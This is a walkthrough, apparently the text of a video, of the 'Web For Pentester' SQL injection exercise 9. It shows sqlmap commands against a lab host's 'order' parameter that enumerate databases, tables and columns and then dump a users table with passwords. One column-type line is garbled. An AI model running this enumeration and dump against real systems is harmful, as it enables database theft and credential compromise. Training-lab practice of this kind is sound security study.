Web For Pentester SQL Injection Example 9 | SQLMAP

Web For Pentester SQL Injection Example 9 | SQLMAP

SQL Injection is a concern when dynamic SQL is handled incorrectly in a ... how dynamic SQL can be built securely to defend against SQL injection attacks.


Grab Banner Or Batch :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner

Databse :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner --dbs

available databases [2]:
[*] exercises
[*] information_schema


Tables :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises --tables

Database: exercises
[1 table]
+-------+
| users |
+-------+

Columns :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises -T users --columns

[5 columns]
+---------+-----------------+
| Column | Type |
+---------+-----------------+
| age | int*\xff\xfa☺1) |
| groupid | int(11) |
| id | int(11) |
| name | varchar(50) |
| passwd | varchar(50) |
+---------+-----------------+

Dump Data :
python sqlmap.py -u "192.168.174.133/sqli/example9.php?order=n
ame*" --batch --banner -D exercises -T users -C age,groupid,id,name,passwd --dump

Dumped Data :
+-----+---------+----+-------+---------+
| age | groupid | id | name | passwd |
+-----+---------+----+-------+---------+
| 10 | 10 | 1 | admin | admin |
| 30 | 0 | 2 | root | admin21 |
| 5 | 2 | 3 | user1 | secret |
| 2 | 5 | 5 | user2 | azerty |
+-----+---------+----+-------+---------+

That's all for this video and i will see you in next video.
till then good bye...

IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.